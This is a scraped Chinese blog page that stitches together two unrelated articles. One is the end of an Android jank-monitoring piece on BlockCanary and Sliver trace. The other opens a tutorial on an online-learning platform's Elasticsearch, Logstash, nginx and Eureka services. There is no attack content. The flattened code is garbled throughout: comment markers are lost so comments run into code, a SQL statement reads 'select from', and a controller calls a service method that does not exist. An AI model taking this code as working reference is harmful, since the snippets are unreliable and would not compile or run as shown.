APM是一个非侵入式的性能监控组件,可以通过通知的形式弹出卡顿信息。它的原理就是我们刚刚讲述到的卡顿监控的实现原理。 使用方式: 1.导入依赖 implementation 'com.github.markzhai:blockcanary-android:1.5.0' Application的onCreate方法中开启卡顿监控 // 注意在主进程初始化调用BlockCanary.install(this, new AppBlockCanaryContext()).start(); 3.继承BlockCanaryContext类去实现自己的监控配置上下文类 public class AppBlockCanaryContext extends BlockCanaryContext {....../ 指定判定为卡顿的阈值threshold (in millis), 你可以根据不同设备的性能去指定不同的阈值 @return threshold in mills/public int provideBlockThreshold() {return 1000;}....} 4.在Activity的onCreate方法中执行一个耗时操作 try {Thread.sleep(4000);} catch (InterruptedException e) {e.printStackTrace();} 5.结果: 可以看到一个和LeakCanary一样效果的阻塞可视化堆栈图 那有了BlockCanary的方法耗时监控方式是不是就可以解百愁了呢,呵呵。有那么容易就好了 根据原理:我们拿到的是msg执行前后的时间和堆栈信息,如果msg中有几百上千个方法,就无法确认到底是哪个方法导致的耗时,也有可能是多个方法堆积导致。 这就导致我们无法准确定位哪个方法是最耗时的。如图中:堆栈信息是T2的,而发生耗时的方法可能是T1到T2中任何一个方法甚至是堆积导致。 那如何优化这块? 这里我们采用字节跳动给我们提供的一个方案:基于 Sliver trace 的卡顿监控体系 Sliver trace 整体流程图: 主要包含两个方面: 检测方案: 在监控卡顿时,首先需要打开 Sliver 的 trace 记录能力,Sliver 采样记录 trace 执行信息,对抓取到的堆栈进行 diff 聚合和缓存。 同时基于我们的需要设置相应的卡顿阈值,以 Message 的执行耗时为衡量。对主线程消息调度流程进行拦截,在消息开始分发执行时埋点,在消息执行结束时计算消息执行耗时,当消息执行耗时超过阈值,则认为产生了一次卡顿。 堆栈聚合策略: 当卡顿发生时,我们需要为此次卡顿准备数据,这部分工作是在端上子线程中完成的,主要是 dump trace 到文件以及过滤聚合要上报的堆栈。分为以下几步: 1.拿到缓存的主线程 trace 信息并 dump 到文件中。 2.然后从文件中读取 trace 信息,按照数据格式,从最近的方法栈向上追溯,找到当前 Message 包含的全部 trace 信息,并将当前 Message 的完整 trace 写入到待上传的 trace 文件中,删除其余 trace 信息。 3.遍历当前 Message trace,按照(Method 执行耗时 > Method 耗时阈值 & Method 耗时为该层堆栈中最耗时)为条件过滤出每一层函数调用堆栈的最长耗时函数,构成最后要上报的堆栈链路,这样特征堆栈中的每一步都是最耗时的,且最底层 Method 为最后的耗时大于阈值的 Method。 之后,将 trace 文件和堆栈一同上报,这样的特征堆栈提取策略保证了堆栈聚合的可靠性和准确性,保证了上报到平台后堆栈的正确合理聚合,同时提供了进一步分析问题的 trace 文件。 可以看到字节给的是一整套监控方案,和前面BlockCanary不同之处就在于,其是定时存储堆栈,缓存,然后使用diff去重的方式,并上传到服务器,可以最大限度的监控到可能发生比较耗时的方法。 开发中哪些习惯会影响卡顿的发生 1.布局太乱,层级太深。 1.1:通过减少冗余或者嵌套布局来降低视图层次结构。比如使用约束布局代替线性布局和相对布局。 1.2:用 ViewStub 替代在启动过程中不需要显示的 UI 控件。 1.3:使用自定义 View 替代复杂的 View 叠加。 2.主线程耗时操作 2.1:主线程中不要直接操作数据库,数据库的操作应该放在数据库线程中完成。 2.2:sharepreference尽量使用apply,少使用commit,可以使用MMKV框架来代替sharepreference。 2.3:网络请求回来的数据解析尽量放在子线程中,不要在主线程中进行复制的数据解析操作。 2.4:不要在activity的onResume和onCreate中进行耗时操作,比如大量的计算等。 2.5:不要在 draw 里面调用耗时函数,不能 new 对象 3.过度绘制 过度绘制是同一个像素点上被多次绘制,减少过度绘制一般减少布局背景叠加等方式,如下图所示右边是过度绘制的图片。 4.列表 RecyclerView使用优化,使用DiffUtil和notifyItemDataSetChanged进行局部更新等。 5.对象分配和回收优化 自从Android引入 ART 并且在Android 5.0上成为默认的运行时之后,对象分配和垃圾回收(GC)造成的卡顿已经显著降低了,但是由于对象分配和GC有额外的开销,它依然又可能使线程负载过重。 在一个调用不频繁的地方(比如按钮点击)分配对象是没有问题的,但如果在在一个被频繁调用的紧密的循环里,就需要避免对象分配来降低GC的压力。 减少小对象的频繁分配和回收操作。 好了,关于卡顿优化的问题就讲到这里,下篇文章会对卡顿中的ANR情况的处理,这里做个铺垫。 如果喜欢我的文章,欢迎关注我的公众号。 点击这看原文链接: 参考 Android卡顿检测及优化 一文读懂直播卡顿优化那些事儿 “终于懂了” 系列:Android屏幕刷新机制—VSync、Choreographer 全面理解! 深入探索Android卡顿优化(上) 西瓜卡顿 & ANR 优化治理及监控体系建设 5376)] 参考 Android卡顿检测及优化 一文读懂直播卡顿优化那些事儿 “终于懂了” 系列:Android屏幕刷新机制—VSync、Choreographer 全面理解! 深入探索Android卡顿优化(上) 西瓜卡顿 & ANR 优化治理及监控体系建设 本篇文章为转载内容。原文链接:https://blog.csdn.net/yuhaibing111/article/details/127682399。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-03-26 08:05:57
215
转载
转载文章
... 1、上传文件 一些问题 ~~方案1:删除本地分块文件重新尝试上传~~ 方案2:检查前端提交的MD5值是否正确 2、为课程计划选择媒资信息 3、前端门户测试 四、待完善的一些功能 😁 认识作者 一、学习页面:查询课程计划 0x01 需求分析 到目前为止,我们已可以编辑课程计划信息并上传课程视频,下一步我们要实现在线学习页面动态读取章节对应的视频并进行播放。在线学习页面所需要的信息有两类: 课程计划信息 课程学习信息(视频地址、学习进度等) 如下图: 在线学习集成媒资管理的需求如下: 1、在线学习页面显示课程计划 2、点击课程计划播放该课程计划对应的视频 本章节实现学习页面动态显示课程计划,进入不同课程的学习页面右侧动态显示当前课程的课程计划。 0x02 Api接口 课程计划信息从哪里获取? 在课程发布完成后会自动发布到一个 course_pub 的表中,logstash 会自动将课程发布后的信息自动采集到 ES 索引库中,这些信息也包含课程计划信息。 所以考虑性能要求,课程发布后对课程的查询统一从 ES 索引库中查询。 前端通过请求 搜索服务 获取课程信息,需要单独在 搜索服务 中定义课程信息查询接口。 本接口接收课程id,查询课程所有信息返回给前端。 我们在搜素服务 API 下添加以下方法 @ApiOperation("根据id搜索课程发布信息")public Map<String,CoursePub> getdetail(String id); 返回的课程信息为 json 结构:key 为课程id,value 为课程内容。 0x03 服务端开发 在搜索服务中开发查询课程信息接口。 Controller 在搜素服务下添加以下方法 / 根据id搜索课程发布信息 @param id 课程id @return JSON数据/@Override@GetMapping("/getdetail/{id}")public Map<String, CoursePub> getdetail(@PathVariable("id")String id) {return esCourseService.getdetail(id);} Service / 根据id搜索课程发布信息 @param id 课程id @return JSON数据/public Map<String, CoursePub> getdetail(String id) {//设置索引SearchRequest searchRequest = new SearchRequest(es_index);//设置类型searchRequest.types(es_type);//创建搜索源对象SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder();//设置查询条件,根据id进行查询searchSourceBuilder.query(QueryBuilders.termQuery("id",id));//这里不使用source的原字段过滤,查询所有字段// searchSourceBuilder.fetchSource(new String[]{"name", "grade", "charge","pic"}, newString[]{});//设置搜索源对象searchRequest.source(searchSourceBuilder);//执行搜索SearchResponse searchResponse = null;try {searchResponse = restHighLevelClient.search(searchRequest);} catch (IOException e) {e.printStackTrace();}//获取搜索结果SearchHits hits = searchResponse.getHits();SearchHit[] searchHits = hits.getHits(); //获取最优结果Map<String,CoursePub> map = new HashMap<>();for (SearchHit hit: searchHits) {//从搜索结果中取值并添加到coursePub对象Map<String, Object> sourceAsMap = hit.getSourceAsMap();String courseId = (String) sourceAsMap.get("id");String name = (String) sourceAsMap.get("name");String grade = (String) sourceAsMap.get("grade");String charge = (String) sourceAsMap.get("charge");String pic = (String) sourceAsMap.get("pic");String description = (String) sourceAsMap.get("description");String teachplan = (String) sourceAsMap.get("teachplan");CoursePub coursePub = new CoursePub();coursePub.setId(courseId);coursePub.setName(name);coursePub.setPic(pic);coursePub.setGrade(grade);coursePub.setTeachplan(teachplan);coursePub.setDescription(description);//设置map对象map.put(courseId,coursePub);}return map;} 测试 使用 swagger-ui 或 postman 测试查询课程信息接口。 0x04 前端开发 配置NGINX虚拟主机 学习中心的二级域名为 ucenter.xuecheng.com ,我们在 nginx 中配置 ucenter 虚拟主机。 学成网用户中心server {listen 80;server_name ucenter.xuecheng.com;个人中心location / {proxy_pass http://ucenter_server_pool;} } 前端ucenterupstream ucenter_server_pool{server 127.0.0.1:7081 weight=10;server 127.0.0.1:13000 weight=10;} 在学习中心要调用搜索的 API,使用 Nginx 解决代理,如下图: 在 ucenter 虚拟主机下配置搜索 Api 代理路径 后台搜索(公开api)upstream search_server_pool{server 127.0.0.1:40100 weight=10;} 学成网用户中心server {listen 80;server_name ucenter.xuecheng.com;个人中心location / {proxy_pass http://ucenter_server_pool;}后端搜索服务location /openapi/search/ {proxy_pass http://search_server_pool/search/;} } 前端 API 方法 在学习中心 xc-ui-pc-leanring 对课程信息的查询属于基础常用功能,所以我们将课程查询的 api 方法定义在base 模块下,如下图: 在system.js 中定义课程查询方法: import http from './public'export const course_view = id => {return http.requestGet('/openapi/search/course/getdetail/'+id);} 前端 API 方法调用 在 learning_video.vue 页面中调用课程信息查询接口得到课程计划,将课程计划json 串转成对象。 xc-ui-pc-leanring/src/module/course/page/learning_video.vue 1、定义视图 课程计划 <!--课程计划部分代码--><div class="navCont"><div class="course-weeklist"><div class="nav nav-stacked" v-for="(teachplan_first, index) in teachplanList"><div class="tit nav-justified text-center"><i class="pull-left glyphicon glyphicon-th-list"></i>{ {teachplan_first.pname} }<i class="pull-right"></i></div><li v-if="teachplan_first.children!=null" v-for="(teachplan_second, index) in teachplan_first.children"><i class="glyphicon glyphicon-check"></i><a :href="url" @click="study(teachplan_second.id)">{ {teachplan_second.pname} }</a></li><!-- <div class="tit nav-justified text-center"><i class="pull-left glyphicon glyphicon-th-list"></i>第一章<i class="pull-right"></i></div><li ><i class="glyphicon glyphicon-check"></i><a :href="url" >第一节</a></li>--><!--<li><i class="glyphicon glyphicon-unchecked"></i>为什么分为A、B、C部分</li>--></div></div></div> 课程名称 <div class="top text-center">{ {coursename} }</div> 定义数据对象 data() {return {url:'',//当前urlcourseId:'',//课程idchapter:'',//章节Idcoursename:'',//课程名称coursepic:'',//课程图片teachplanList:[],//课程计划playerOptions: {//播放参数autoplay: false,controls: true,sources: [{type: "application/x-mpegURL",src: ''}]},} } 在 created 钩子方法中获取课程信息 created(){//当前请求的urlthis.url = window.location//课程idthis.courseId = this.$route.params.courseId//章节idthis.chapter = this.$route.params.chapter//查询课程信息systemApi.course_view(this.courseId).then((view_course)=>{if(!view_course || !view_course[this.courseId]){this.$message.error("获取课程信息失败,请重新进入此页面!")return ;} let courseInfo = view_course[this.courseId]console.log(courseInfo)this.coursename = courseInfo.nameif(courseInfo.teachplan){let teachplan = JSON.parse(courseInfo.teachplan);this.teachplanList = teachplan.children;} })}, 测试 在浏览器请求:http://ucenter.xuecheng.com//learning/4028e581617f945f01617f9dabc40000/0 4028e581617f945f01617f9dabc40000:第一个参数为课程 id,测试时从 ES索引库找一个课程 id 0:第二个参数为课程计划 id,此参数用于点击课程计划播放视频。 如果出现跨域问题,但是确定已经配置了跨域,请尝试结束所以 nginx.exe 的进程 和 清空浏览器缓存。 如果还没有解决?重启电脑试试。 二、学习页面:获取视频播放地址 0x01 需求分析 用户进入在线学习页面,点击课程计划将播放该课程计划对应的教学视频。 业务流程如下: 业务流程说明: 1、用户进入在线学习页面,页面请求搜索服务获取课程信息(包括课程计划信息)并且在页面展示。 2、在线学习请求学习服务获取视频播放地址。 3、学习服务校验当前用户是否有权限学习,如果没有权限学习则提示用户。 4、学习服务校验通过,请求搜索服务获取课程媒资信息。 5、搜索服务请求ElasticSearch获取课程媒资信息。 为什么要请求 ElasticSearch 查询课程媒资信息? 出于性能的考虑,公开查询课程信息从搜索服务查询,分摊 mysql 数据库的访问压力。 什么时候将课程媒资信息存储到 ElasticSearch 中? 课程媒资信息是在课程发布的时候存入 ElasticSearch,因为课程发布后课程信息将基本不再修改。 0x02 课程发布:储存媒资信息 需求分析 课程媒资信息是在课程发布的时候存入 ElasticSearch 索引库,因为课程发布后课程信息将基本不再修改,具体的业务流程如下。 1、课程发布,向课程媒资信息表写入数据。 1)根据课程 id 删除 teachplanMediaPub 中的数据 2)根据课程 id 查询 teachplanMedia 数据 3)将查询到的 teachplanMedia 数据插入到 teachplanMediaPub 中 2、Logstash 定时扫描课程媒资信息表,并将课程媒资信息写入索引库。 数据模型 在 xc_course 数据库创建课程计划媒资发布表: CREATE TABLE teachplan_media_pub (teachplan_id varchar(32) NOT NULL COMMENT '课程计划id',media_id varchar(32) NOT NULL COMMENT '媒资文件id',media_fileoriginalname varchar(128) NOT NULL COMMENT '媒资文件的原始名称',media_url varchar(256) NOT NULL COMMENT '媒资文件访问地址',courseid varchar(32) NOT NULL COMMENT '课程Id',timestamp timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT'logstash使用',PRIMARY KEY (teachplan_id)) ENGINE=InnoDB DEFAULT CHARSET=utf8 数据模型类如下: package com.xuecheng.framework.domain.course;import lombok.Data;import lombok.ToString;import org.hibernate.annotations.GenericGenerator;import javax.persistence.;import java.io.Serializable;import java.util.Date;@Data@ToString@Entity@Table(name="teachplan_media_pub")@GenericGenerator(name = "jpa-assigned", strategy = "assigned")public class TeachplanMediaPub implements Serializable {private static final long serialVersionUID = -916357110051689485L;@Id@GeneratedValue(generator = "jpa-assigned")@Column(name="teachplan_id")private String teachplanId;@Column(name="media_id")private String mediaId;@Column(name="media_fileoriginalname")private String mediaFileOriginalName;@Column(name="media_url")private String mediaUrl;@Column(name="courseid")private String courseId;@Column(name="timestamp")private Date timestamp;//时间戳} Dao 创建 TeachplanMediaPub 表的 Dao,向 TeachplanMediaPub 存储信息采用先删除该课程的媒资信息,再添加该课程的媒资信息,所以这里定义根据课程 id 删除课程计划媒资方法: public interface TeachplanMediaPubRepository extends JpaRepository<TeachplanMediaPub, String> {//根据课程id删除课程计划媒资信息long deleteByCourseId(String courseId);} 从TeachplanMedia查询课程计划媒资信息 //从TeachplanMedia查询课程计划媒资信息public interface TeachplanMediaRepository extends JpaRepository<TeachplanMedia, String> {List<TeachplanMedia> findByCourseId(String courseId);} Service 编写保存课程计划媒资信息方法,并在课程发布时调用此方法。 1、保存课程计划媒资信息方法 本方法采用先删除该课程的媒资信息,再添加该课程的媒资信息,在 CourseService 下定义该方法 //保存课程计划媒资信息private void saveTeachplanMediaPub(String courseId){//查询课程媒资信息List<TeachplanMedia> byCourseId = teachplanMediaRepository.findByCourseId(courseId);if(byCourseId == null) return; //没有查询到媒资数据则直接结束该方法//将课程计划媒资信息储存到待索引表//删除原有的索引信息teachplanMediaPubRepository.deleteByCourseId(courseId);//一个课程可能会有多个媒资信息,遍历并使用list进行储存List<TeachplanMediaPub> teachplanMediaPubList = new ArrayList<>();for (TeachplanMedia teachplanMedia: byCourseId) {TeachplanMediaPub teachplanMediaPub = new TeachplanMediaPub();BeanUtils.copyProperties(teachplanMedia, teachplanMediaPub);teachplanMediaPubList.add(teachplanMediaPub);}//保存所有信息teachplanMediaPubRepository.saveAll(teachplanMediaPubList);} 2、课程发布时调用此方法 修改课程发布的 coursePublish 方法: ....//保存课程计划媒资信息到待索引表saveTeachplanMediaPub(courseId);//页面urlString pageUrl = cmsPostPageResult.getPageUrl();return new CoursePublishResult(CommonCode.SUCCESS,pageUrl);..... 测试 测试课程发布后是否成功将课程媒资信息存储到 teachplan_media_pub 中,测试流程如下: 1、指定一个课程 2、为课程计划添加课程媒资 3、执行课程发布 4、观察课程计划媒资信息是否存储至 teachplan_media_pub 中 注意:由于此测试仅用于测试发布课程计划媒资信息的功能,可暂时将 cms页面发布的功能暂时屏蔽,提高测试效率。 测试结果如下 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Vrzs5589-1595567273126)(https://qnoss.codeyee.com/20200704_15/image7)] 0x03 Logstash:扫描课程计划媒资 Logstash 定时扫描课程媒资信息表,并将课程媒资信息写入索引库。 创建索引 1、创建 xc_course_media 索引 2、并向此索引创建如下映射 POST: http://localhost:9200/xc_course_media/doc/_mapping {"properties" : {"courseid" : {"type" : "keyword"},"teachplan_id" : {"type" : "keyword"},"media_id" : {"type" : "keyword"},"media_url" : {"index" : false,"type" : "text"},"media_fileoriginalname" : {"index" : false,"type" : "text"} }} 索引创建成功 创建模板文件 在 logstach 的 config 目录文件 xc_course_media_template.json 文件路径为 %ES_ROOT_DIR%/logstash6.8.8/config/xc_course_media_template.json %ES_ROOT_DIR% 为 ElasticSearch 和 logstash 的安装目录 内容如下: {"mappings" : {"doc" : {"properties" : {"courseid" : {"type" : "keyword"},"teachplan_id" : {"type" : "keyword"},"media_id" : {"type" : "keyword"},"media_url" : {"index" : false,"type" : "text"},"media_fileoriginalname" : {"index" : false,"type" : "text"} }},"template" : "xc_course_media"} } 配置 mysql.conf 在logstash的 config 目录下配置 mysql_course_media.conf 文件供 logstash 使用,logstash 会根据 mysql_course_media.conf 文件的配置的地址从 MySQL 中读取数据向 ES 中写入索引。 参考https://www.elastic.co/guide/en/logstash/current/plugins-inputs-jdbc.html 配置输入数据源和输出数据源。 input {stdin {} jdbc {jdbc_connection_string => "jdbc:mysql://localhost:3306/xc_course?useUnicode=true&characterEncoding=utf-8&useSSL=true&serverTimezone=UTC" 数据库信息jdbc_user => "root"jdbc_password => "123123" MYSQL 驱动地址,修改为maven仓库对应的位置jdbc_driver_library => "D:/soft/apache-maven-3.5.4/repository/mysql/mysql-connector-java/5.1.40/mysql-connector-java-5.1.40.jar" the name of the driver class for mysqljdbc_driver_class => "com.mysql.jdbc.Driver"jdbc_paging_enabled => "true"jdbc_page_size => "50000"要执行的sql文件statement_filepath => "/conf/course.sql"statement => "select from teachplan_media_pub where timestamp > date_add(:sql_last_value,INTERVAL 8 HOUR)"定时配置schedule => " "record_last_run => truelast_run_metadata_path => "D:/soft/elasticsearch/logstash-6.8.8/config/xc_course_media_metadata"} } output {elasticsearch {ES的ip地址和端口hosts => "localhost:9200"hosts => ["localhost:9200","localhost:9202","localhost:9203"]ES索引库名称index => "xc_course_media"document_id => "%{teachplan_id}"document_type => "doc"template => "D:/soft/elasticsearch/logstash-6.8.8/config/xc_course_media_template.json"template_name =>"xc_course_media"template_overwrite =>"true"} stdout {日志输出codec => json_lines} } 启动 logstash.bat 启动 logstash.bat 采集 teachplan_media_pub 中的数据,向 ES 写入索引。 logstash.bat -f ../config/mysql_course_media.conf 课程发布成功后,Logstash 会自动参加 teachplan_media_pub 表中新增的数据,效果如下 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ILPBxfXi-1595567273134)(https://qnoss.codeyee.com/20200704_15/image10)] Logstash多实例运行 由于之前我们还启动了一个 Logstash 对课程的发布信息进行采集,所以如果想两个 logstash 实例同时运行,因为每个实例都有一个.lock文件,所以不能使用同一个目录来存放数据,所以我们需要使用 --path.data= 为每个实例指定单独的数据目录,具体的代码如下: 该配置是在windows下进行的 课程发布实例 logstash_start_course_pub.bat @title logstash in course_publogstash.bat -f ..\config\mysql.conf --path.data=../data/course_pub 课程计划媒体发布实例 logstash_start_teachplan_media.bat @title logstash i n teachplan_media_publogstash.bat -f ../config/mysql_course_media.conf --path.data=../data/teachplan_media/ 同时运行效果如下 0x04 搜素服务:查询课程媒资接口 需求分析 搜索服务 提供查询课程媒资接口,此接口供学习服务调用。 Api接口定义 @ApiOperation("根据课程计划查询媒资信息")public TeachplanMediaPub getmedia(String teachplanId); Service 1、配置课程计划媒资索引库等信息 在 application.yml 中配置 xuecheng:elasticsearch:hostlist: ${eshostlist:127.0.0.1:9200} 多个结点中间用逗号分隔course:index: xc_coursetype: docsource_field: id,name,grade,mt,st,charge,valid,pic,qq,price,price_old,status,studymodel,teachmode,expires,pub_time,start_time,end_timemedia:index: xc_course_mediatype: docsource_field: courseid,media_id,media_url,teachplan_id,media_fileoriginalname 2、service 方法开发 在 课程搜索服务 中定义课程媒资查询接口,为了适应后续需求,service 参数定义为数组,可一次查询多个课程计划的媒资信息。 / 根据一个或者多个课程计划id查询媒资信息 @param teachplanIds 课程id @return QueryResponseResult/public QueryResponseResult<TeachplanMediaPub> getmedia(String [] teachplanIds){//设置索引SearchRequest searchRequest = new SearchRequest(media_index);//设置类型searchRequest.types(media_type);//创建搜索源对象SearchSourceBuilder searchSourceBuilder = new SearchSourceBuilder();//源字段过滤String[] media_index_arr = media_field.split(",");searchSourceBuilder.fetchSource(media_index_arr, new String[]{});//查询条件,根据课程计划id查询(可以传入多个课程计划id)searchSourceBuilder.query(QueryBuilders.termsQuery("teachplan_id", teachplanIds));searchRequest.source(searchSourceBuilder);SearchResponse searchResponse = null;try {searchResponse = restHighLevelClient.search(searchRequest);} catch (IOException e) {e.printStackTrace();}//获取结果SearchHits hits = searchResponse.getHits();long totalHits = hits.getTotalHits();SearchHit[] searchHits = hits.getHits();//数据列表List<TeachplanMediaPub> teachplanMediaPubList = new ArrayList<>();for(SearchHit hit:searchHits){TeachplanMediaPub teachplanMediaPub =new TeachplanMediaPub();Map<String, Object> sourceAsMap = hit.getSourceAsMap();//取出课程计划媒资信息String courseid = (String) sourceAsMap.get("courseid");String media_id = (String) sourceAsMap.get("media_id");String media_url = (String) sourceAsMap.get("media_url");String teachplan_id = (String) sourceAsMap.get("teachplan_id");String media_fileoriginalname = (String) sourceAsMap.get("media_fileoriginalname");teachplanMediaPub.setCourseId(courseid);teachplanMediaPub.setMediaUrl(media_url);teachplanMediaPub.setMediaFileOriginalName(media_fileoriginalname);teachplanMediaPub.setMediaId(media_id);teachplanMediaPub.setTeachplanId(teachplan_id);//将对象加入到列表中teachplanMediaPubList.add(teachplanMediaPub);}//构建返回课程媒资信息对象QueryResult<TeachplanMediaPub> queryResult = new QueryResult<>();queryResult.setList(teachplanMediaPubList);queryResult.setTotal(totalHits);return new QueryResponseResult<TeachplanMediaPub>(CommonCode.SUCCESS,queryResult);} Controller / 根据课程计划id搜索发布后的媒资信息 @param teachplanId @return/@GetMapping(value="/getmedia/{teachplanId}")@Overridepublic TeachplanMediaPub getmedia(@PathVariable("teachplanId") String teachplanId) {//为了service的拓展性,所以我们service接收的是数组作为参数,以便后续开发查询多个ID的接口String[] teachplanIds = new String[]{teachplanId};//通过service查询ES获取课程媒资信息QueryResponseResult<TeachplanMediaPub> mediaPubQueryResponseResult = esCourseService.getmedia(teachplanIds);QueryResult<TeachplanMediaPub> queryResult = mediaPubQueryResponseResult.getQueryResult();if(queryResult!=null&& queryResult.getList()!=null&& queryResult.getList().size()>0){//返回课程计划对应课程媒资return queryResult.getList().get(0);} return new TeachplanMediaPub();} 测试 使用 swagger-ui 和 postman 测试课程媒资查询接口。 三、在线学习:接口开发 0x01 需求分析 根据下边的业务流程,本章节完成前端学习页面请求学习服务获取课程视频地址,并自动播放视频。 0x02 搭建开发环境 1、创建数据库 创建 xc_learning 数据库,学习数据库将记录学生的选课信息、学习信息。 导入:资料/xc_learning.sql 2、创建学习服务工程 参考课程管理服务工程结构,创建学习服务工程: 导入:资料/xc-service-learning.zip 项目工程结构如下 0x03 Api接口 此 api 接口是课程学习页面请求学习服务获取课程学习地址。 定义返回值类型: package com.xuecheng.framework.domain.learning.response;import com.xuecheng.framework.model.response.ResponseResult;import com.xuecheng.framework.model.response.ResultCode;import lombok.Data;import lombok.NoArgsConstructor;import lombok.ToString;@Data@ToString@NoArgsConstructorpublic class GetMediaResult extends ResponseResult {public GetMediaResult(ResultCode resultCode, String fileUrl) {super(resultCode);this.fileUrl = fileUrl;}//媒资文件播放地址private String fileUrl;} 定义接口,学习服务根据传入课程 ID、章节 Id(课程计划 ID)来取学习地址。 @Api(value = "录播课程学习管理",description = "录播课程学习管理")public interface CourseLearningControllerApi {@ApiOperation("获取课程学习地址")public GetMediaResult getMediaPlayUrl(String courseId,String teachplanId);} 0x04 服务端开发 需求分析 学习服务根据传入课程ID、章节Id(课程计划ID)请求搜索服务获取学习地址。 搜索服务注册Eureka 学习服务要调用搜索服务查询课程媒资信息,所以需要将搜索服务注册到 eureka 中。 1、查看服务名称是否为 xc-service-search 注意修改application.xml中的服务名称:spring:application:name: xc‐service‐search 2、配置搜索服务的配置文件 application.yml,加入 Eureka 配置 如下: eureka:client:registerWithEureka: true 服务注册开关fetchRegistry: true 服务发现开关serviceUrl: Eureka客户端与Eureka服务端进行交互的地址,多个中间用逗号分隔defaultZone: ${EUREKA_SERVER:http://localhost:50101/eureka/,http://localhost:50102/eureka/}instance:prefer-ip-address: true 将自己的ip地址注册到Eureka服务中ip-address: ${IP_ADDRESS:127.0.0.1}instance-id: ${spring.application.name}:${server.port} 指定实例idribbon:MaxAutoRetries: 2 最大重试次数,当Eureka中可以找到服务,但是服务连不上时将会重试,如果eureka中找不到服务则直接走断路器MaxAutoRetriesNextServer: 3 切换实例的重试次数OkToRetryOnAllOperations: false 对所有操作请求都进行重试,如果是get则可以,如果是post,put等操作没有实现幂等的情况下是很危险的,所以设置为falseConnectTimeout: 5000 请求连接的超时时间ReadTimeout: 6000 请求处理的超时时间 3、添加 eureka 依赖 <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring‐cloud‐starter‐netflix‐eureka‐client</artifactId></dependency> 4、修改启动类,在class上添加如下注解: @EnableDiscoveryClient 搜索服务客户端 在 学习服务 创建搜索服务的客户端接口,此接口会生成代理对象,调用搜索服务: package com.xuecheng.learning.client;import com.xuecheng.framework.domain.course.TeachplanMediaPub;import org.springframework.cloud.openfeign.FeignClient;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PathVariable;@FeignClient(value = "xc‐service‐search")public interface CourseSearchClient {@GetMapping(value="/getmedia/{teachplanId}")public TeachplanMediaPub getmedia(@PathVariable("teachplanId") String teachplanId);} 自定义错误代码 我们在 com.xuecheng.framework.domain.learning.response 包下自定义一个错误消息模型 package com.xuecheng.framework.domain.learning.response;import com.xuecheng.framework.model.response.ResultCode;import lombok.ToString;@ToStringpublic enum LearningCode implements ResultCode {LEARNING_GET_MEDIA_ERROR(false,23001,"学习中心获取媒资信息错误!");//操作代码boolean success;//操作代码int code;//提示信息String message;private LearningCode(boolean success, int code, String message){this.success = success;this.code = code;this.message = message;}@Overridepublic boolean success() {return success;}@Overridepublic int code() {return code;}@Overridepublic String message() {return message;} } 该消息模型基于 ResultCode 来实现,代码如下 package com.xuecheng.framework.model.response;/ Created by mrt on 2018/3/5. 10000-- 通用错误代码 22000-- 媒资错误代码 23000-- 用户中心错误代码 24000-- cms错误代码 25000-- 文件系统/public interface ResultCode {//操作是否成功,true为成功,false操作失败boolean success();//操作代码int code();//提示信息String message(); 从 ResultCode 中我们可以看出,我们约定了用户中心的错误代码使用 23000,所以我们定义的一些错误信息的代码就从 23000 开始计数。 Service 在学习服务中定义 service 方法,此方法远程请求课程管理服务、媒资管理服务获取课程学习地址。 package com.xuecheng.learning.service.impl;import com.netflix.discovery.converters.Auto;import com.xuecheng.framework.domain.course.TeachplanMediaPub;import com.xuecheng.framework.domain.learning.response.GetMediaResult;import com.xuecheng.framework.exception.ExceptionCast;import com.xuecheng.framework.model.response.CommonCode;import com.xuecheng.learning.client.CourseSearchClient;import com.xuecheng.learning.service.LearningService;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Service;@Servicepublic class LearningServiceImpl implements LearningService {@AutowiredCourseSearchClient courseSearchClient;/ 远程调用搜索服务获取已发布媒体信息中的url @param courseId 课程id @param teachplanId 媒体信息id @return/@Overridepublic GetMediaResult getMediaPlayUrl(String courseId, String teachplanId) {//校验学生权限,是否已付费等//远程调用搜索服务进行查询媒体信息TeachplanMediaPub mediaPub = courseSearchClient.getmedia(teachplanId);if(mediaPub == null) ExceptionCast.cast(CommonCode.FAIL);return new GetMediaResult(CommonCode.SUCCESS, mediaPub.getMediaUrl());} } Controller 调用 service 根据课程计划 id 查询视频播放地址: @RestController@RequestMapping("/learning/course")public class CourseLearningController implements CourseLearningControllerApi {@AutowiredLearningService learningService;@Override@GetMapping("/getmedia/{courseId}/{teachplanId}")public GetMediaResult getMediaPlayUrl(@PathVariable String courseId, @PathVariable String teachplanId) {//获取课程学习地址return learningService.getMedia(courseId, teachplanId);} } 测试 使用 swagger-ui 或postman 测试学习服务查询课程视频地址接口。 0x05 前端开发 需求分析 需要在学习中心前端页面需要完成如下功能: 1、进入课程学习页面需要带上 课程 Id参数及课程计划Id的参数,其中 课程 Id 参数必带,课程计划 Id 可以为空。 2、进入页面根据 课程 Id 取出该课程的课程计划显示在右侧。 3、进入页面后判断如果请求参数中有课程计划 Id 则播放该章节的视频。 4、进入页面后判断如果 课程计划id 为0则需要取出本课程第一个 课程计划的Id,并播放第一个课程计划的视频。 进入到模块 xc-ui-pc-leanring/src/module/course api方法 let sysConfig = require('@/../config/sysConfig')let apiUrl = sysConfig.xcApiUrlPre;/获取播放地址/export const get_media = (courseId,chapter) => {return http.requestGet(apiUrl+'/api/learning/course/getmedia/'+courseId+'/'+chapter);} 配置代理 在 Nginx 中的 ucenter.xuecheng.com 虚拟主机中配置 /api/learning/ 的路径转发,此url 请转发到学习服务。 学习服务upstream learning_server_pool{server 127.0.0.1:40600 weight=10;}学成网用户中心server {listen 80;server_name ucenter.xuecheng.com;个人中心location / {proxy_pass http://ucenter_server_pool;}后端搜索服务location /openapi/search/ {proxy_pass http://search_server_pool/search/; }学习服务location ^~ /api/learning/ {proxy_pass http://learning_server_pool/learning/;} } 视频播放页面 